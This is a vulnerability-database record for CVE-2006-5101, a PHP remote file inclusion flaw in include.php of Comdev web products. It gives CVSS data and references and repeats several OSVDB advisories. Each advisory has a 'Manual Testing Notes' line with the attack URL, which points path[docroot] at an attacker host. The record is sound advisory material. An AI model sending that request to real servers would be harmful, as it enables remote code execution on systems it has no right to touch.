{"id": "CVE-2006-5101", "bulletinFamily": "NVD", "title": "CVE-2006-5101", "description": "PHP remote file inclusion vulnerability in include.php in Comdev CSV Importer 3.1 and possibly 4.1, as used in (1) Comdev Contact Form 3.1, (2) Comdev Customer Helpdesk 3.1, (3) Comdev Events Calendar 3.1, (4) Comdev FAQ Support 3.1, (5) Comdev Guestbook 3.1, (6) Comdev Links Directory 3.1, (7) Comdev News Publisher 3.1, (8) Comdev Newsletter 3.1, (9) Comdev Photo Gallery 3.1, (10) Comdev Vote Caster 3.1, (11) Comdev Web Blogger 3.1, and (12) Comdev eCommerce 3.1, allows remote attackers to execute arbitrary PHP code via a URL in the path[docroot] parameter. NOTE: it has been reported that 4.1 versions might also be affected.", "published": "2006-10-03T04:03:00", "modified": "2018-10-17T21:41:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-5101", "reporter": "cve@mitre.org", "references": ["http://www.securityfocus.com/archive/1/447201/100/0/threaded", "http://www.securityfocus.com/archive/1/447207/100/0/threaded", "https://exchange.xforce.ibmcloud.com/vulnerabilities/29220", "http://www.osvdb.org/29303", "http://www.vupen.com/english/advisories/2006/3815", "http://www.securityfocus.com/archive/1/447194/100/0/threaded", "http://www.osvdb.org/29305", "http://www.securityfocus.com/archive/1/447187/100/0/threaded", "http://www.securityfocus.com/archive/1/447209/100/0/threaded", "http://www.securityfocus.com/archive/1/447186/100/0/threaded", "http://secunia.com/advisories/22170", "http://www.vupen.com/english/advisories/2006/3804", "http://www.securityfocus.com/archive/1/447185/100/0/threaded", "http://www.osvdb.org/29301", "http://www.vupen.com/english/advisories/2006/3813", "http://www.securityfocus.com/archive/1/447192/100/0/threaded", "http://www.osvdb.org/29310", "http://www.securityfocus.com/archive/1/447184/100/0/threaded", "http://secunia.com/advisories/22134", "http://secunia.com/advisories/22153", "http://www.vupen.com/english/advisories/2006/3810", "http://www.osvdb.org/29307", "http://www.securityfocus.com/archive/1/447193/100/0/threaded", "http://www.osvdb.org/29304", "http://secunia.com/advisories/22149", "http://securityreason.com/securityalert/1658", "http://www.securityfocus.com/archive/1/447188/100/0/threaded", "http://secunia.com/advisories/22133", "http://www.securityfocus.com/archive/1/447190/100/0/threaded", "http://www.vupen.com/english/advisories/2006/3806", "http://www.osvdb.org/29309", "http://secunia.com/advisories/22147", "http://secunia.com/advisories/22151", "http://www.osvdb.org/29308", "http://secunia.com/advisories/22157", "http://www.vupen.com/english/advisories/2006/3807", "http://www.vupen.com/english/advisories/2006/3812", "http://secunia.com/advisories/22154", "http://secunia.com/advisories/22169", "http://www.osvdb.org/29302", "http://www.vupen.com/english/advisories/2006/3808", "http://www.osvdb.org/29299", "http://www.osvdb.org/29311", "http://www.osvdb.org/29306", "http://www.vupen.com/english/advisories/2006/3805", "http://www.securityfocus.com/archive/1/447213/100/0/threaded", "http://www.vupen.com/english/advisories/2006/3811", "http://secunia.com/advisories/22168", "http://www.vupen.com/english/advisories/2006/3814", "http://www.vupen.com/english/advisories/2006/3809", "http://www.vupen.com/english/advisories/2006/3803", "http://secunia.com/advisories/22135", "http://www.osvdb.org/29300"], "cvelist": ["CVE-2006-5101"], "type": "cve", "lastseen": "2020-10-03T11:48:18", "edition": 3, "viewCount": 3, "enchantments": {"dependencies": {"references": [{"type": "osvdb", "idList": ["OSVDB:29308", "OSVDB:29301", "OSVDB:29309", "OSVDB:29307", "OSVDB:29299", "OSVDB:29303", "OSVDB:29300", "OSVDB:29306", "OSVDB:29310", "OSVDB:29305"]}], "modified": "2020-10-03T11:48:18", "rev": 2}, "score": {"value": 3.8, "vector": "NONE", "modified": "2020-10-03T11:48:18", "rev": 2}, "vulnersScore": 3.8}, "cpe": ["cpe:/a:comdev:comdev_csv_importer:4.1", "cpe:/a:comdev:comdev_csv_importer:3.1"], "affectedSoftware": [{"cpeName": "comdev:comdev_csv_importer", "name": "comdev comdev csv importer", "operator": "eq", "version": "3.1"}, {"cpeName": "comdev:comdev_csv_importer", "name": "comdev comdev csv importer", "operator": "eq", "version": "4.1"}], "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": true, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {}, "cpe23": ["cpe:2.3:a:comdev:comdev_csv_importer:3.1:*:*:*:*:*:*:*", "cpe:2.3:a:comdev:comdev_csv_importer:4.1:*:*:*:*:*:*:*"], "cwe": ["CWE-94"], "scheme": null, "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:a:comdev:comdev_csv_importer:3.1:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:comdev:comdev_csv_importer:4.1:*:*:*:*:*:*:*", "vulnerable": true}], "operator": "OR"}]}}

{"osvdb": [{"lastseen": "2017-04-28T13:20:25", "bulletinFamily": "software", "cvelist": ["CVE-2006-5101"], "edition": 1, "description": "## Vulnerability Description\nComdev CSV Importer contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nComdev CSV Importer contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include.php?path[\"docroot\"]=http://[attacker]\n## References:\nVendor URL: http://www.comdevweb.com/\n[Secunia Advisory ID:22149](https://secuniaresearch.flexerasoftware.com/advisories/22149/)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0459.html\nISS X-Force ID: 29220\nFrSIRT Advisory: ADV-2006-3812\n[CVE-2006-5101](https://vulners.com/cve/CVE-2006-5101)\n", "modified": "2006-09-27T11:33:56", "published": "2006-09-27T11:33:56", "href": "https://vulners.com/osvdb/OSVDB:29304", "id": "OSVDB:29304", "title": "Comdev CSV Importer include.php path[docroot] Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:25", "bulletinFamily": "software", "cvelist": ["CVE-2006-5101"], "edition": 1, "description": "## Vulnerability Description\nComdev Contact Form contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nComdev Contact Form contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include.php?path[\"docroot\"]=http://[attacker]\n## References:\nVendor URL: http://www.comdevweb.com/\n[Secunia Advisory ID:22151](https://secuniaresearch.flexerasoftware.com/advisories/22151/)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0454.html\nISS X-Force ID: 29220\nFrSIRT Advisory: ADV-2006-3811\n[CVE-2006-5101](https://vulners.com/cve/CVE-2006-5101)\n", "modified": "2006-09-27T10:03:42", "published": "2006-09-27T10:03:42", "href": "https://vulners.com/osvdb/OSVDB:29309", "id": "OSVDB:29309", "title": "Comdev Contact Form include.php path[docroot] Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:25", "bulletinFamily": "software", "cvelist": ["CVE-2006-5101"], "edition": 1, "description": "## Vulnerability Description\nComdev Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nComdev Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include.php?path[\"docroot\"]=http://[attacker]\n## References:\nVendor URL: http://www.comdevweb.com/\n[Secunia Advisory ID:22147](https://secuniaresearch.flexerasoftware.com/advisories/22147/)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0460.html\nISS X-Force ID: 29220\nFrSIRT Advisory: ADV-2006-3809\n[CVE-2006-5101](https://vulners.com/cve/CVE-2006-5101)\n", "modified": "2006-09-27T11:19:00", "published": "2006-09-27T11:19:00", "href": "https://vulners.com/osvdb/OSVDB:29305", "id": "OSVDB:29305", "title": "Comdev Guestbook include.php path[docroot] Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:25", "bulletinFamily": "software", "cvelist": ["CVE-2006-5101"], "edition": 1, "description": "## Vulnerability Description\nComdev FAQ Support contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nComdev FAQ Support contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include.php?path[\"docroot\"]=http://[attacker]\n## References:\nVendor URL: http://www.comdevweb.com/\n[Secunia Advisory ID:22135](https://secuniaresearch.flexerasoftware.com/advisories/22135/)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0461.html\nISS X-Force ID: 29220\nFrSIRT Advisory: ADV-2006-3808\n[CVE-2006-5101](https://vulners.com/cve/CVE-2006-5101)\n", "modified": "2006-09-27T13:03:33", "published": "2006-09-27T13:03:33", "href": "https://vulners.com/osvdb/OSVDB:29299", "id": "OSVDB:29299", "title": "Comdev FAQ Support include.php path[docroot] Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:25", "bulletinFamily": "software", "cvelist": ["CVE-2006-5101"], "edition": 1, "description": "## Vulnerability Description\nComdev Events Calendar contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nComdev Events Calendar contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include.php?path[\"docroot\"]=http://[attacker]\n## References:\nVendor URL: http://www.comdevweb.com/\n[Secunia Advisory ID:22120](https://secuniaresearch.flexerasoftware.com/advisories/22120/)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0463.html\nISS X-Force ID: 29220\nFrSIRT Advisory: ADV-2006-3815\n[CVE-2006-5101](https://vulners.com/cve/CVE-2006-5101)\n", "modified": "2006-09-27T12:48:31", "published": "2006-09-27T12:48:31", "href": "https://vulners.com/osvdb/OSVDB:29300", "id": "OSVDB:29300", "title": "Comdev Events Calendar include.php path[docroot] Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:25", "bulletinFamily": "software", "cvelist": ["CVE-2006-5101"], "edition": 1, "description": "## Vulnerability Description\nComdev eCommerce contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nComdev eCommerce contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include.php?path[\"docroot\"]=http://[attacker]\n## References:\nVendor URL: http://www.comdevweb.com/\n[Secunia Advisory ID:22134](https://secuniaresearch.flexerasoftware.com/advisories/22134/)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0457.html\nISS X-Force ID: 29220\nFrSIRT Advisory: ADV-2006-3810\n[CVE-2006-5101](https://vulners.com/cve/CVE-2006-5101)\n", "modified": "2006-09-27T10:33:41", "published": "2006-09-27T10:33:41", "href": "https://vulners.com/osvdb/OSVDB:29307", "id": "OSVDB:29307", "title": "Comdev eCommerce include.php path[docroot] Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:25", "bulletinFamily": "software", "cvelist": ["CVE-2006-5101"], "edition": 1, "description": "## Vulnerability Description\nComdev News Publisher contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nComdev News Publisher contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include.php?path[\"docroot\"]=http://[attacker]\n## References:\nVendor URL: http://www.comdevweb.com/\n[Secunia Advisory ID:22168](https://secuniaresearch.flexerasoftware.com/advisories/22168/)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0455.html\nISS X-Force ID: 29220\nFrSIRT Advisory: ADV-2006-3806\n[CVE-2006-5101](https://vulners.com/cve/CVE-2006-5101)\n", "modified": "2006-09-27T12:15:10", "published": "2006-09-27T12:15:10", "href": "https://vulners.com/osvdb/OSVDB:29302", "id": "OSVDB:29302", "title": "Comdev News Publisher include.php path[docroot] Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:25", "bulletinFamily": "software", "cvelist": ["CVE-2006-5101"], "edition": 1, "description": "## Vulnerability Description\nComdev Web Blogger contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nComdev Web Blogger contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include.php?path[\"docroot\"]=http://[attacker]\n## References:\nVendor URL: http://www.comdevweb.com/\n[Secunia Advisory ID:22153](https://secuniaresearch.flexerasoftware.com/advisories/22153/)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0456.html\nISS X-Force ID: 29220\nFrSIRT Advisory: ADV-2006-3813\n[CVE-2006-5101](https://vulners.com/cve/CVE-2006-5101)\n", "modified": "2006-09-27T11:50:22", "published": "2006-09-27T11:50:22", "href": "https://vulners.com/osvdb/OSVDB:29303", "id": "OSVDB:29303", "title": "Comdev Web Blogger include.php path[docroot] Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:25", "bulletinFamily": "software", "cvelist": ["CVE-2006-5101"], "edition": 1, "description": "## Vulnerability Description\nComdev Newsletter contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nComdev Newsletter contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include.php?path[\"docroot\"]=http://[attacker]\n## References:\nVendor URL: http://www.comdevweb.com/\n[Secunia Advisory ID:22133](https://secuniaresearch.flexerasoftware.com/advisories/22133/)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0462.html\nISS X-Force ID: 29220\nFrSIRT Advisory: ADV-2006-3814\n[CVE-2006-5101](https://vulners.com/cve/CVE-2006-5101)\n", "modified": "2006-09-27T11:03:53", "published": "2006-09-27T11:03:53", "href": "https://vulners.com/osvdb/OSVDB:29311", "id": "OSVDB:29311", "title": "Comdev Newsletter include.php path[docroot] Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:25", "bulletinFamily": "software", "cvelist": ["CVE-2006-5101"], "edition": 1, "description": "## Vulnerability Description\nComdev Customer Helpdesk contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nComdev Customer Helpdesk contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include.php?path[\"docroot\"]=http://[attacker]\n## References:\nVendor URL: http://www.comdevweb.com/\n[Secunia Advisory ID:22154](https://secuniaresearch.flexerasoftware.com/advisories/22154/)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0453.html\nISS X-Force ID: 29220\nFrSIRT Advisory: ADV-2006-3807\n[CVE-2006-5101](https://vulners.com/cve/CVE-2006-5101)\n", "modified": "2006-09-27T10:18:38", "published": "2006-09-27T10:18:38", "href": "https://vulners.com/osvdb/OSVDB:29308", "id": "OSVDB:29308", "title": "Comdev Customer Helpdesk include.php path[docroot] Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}]}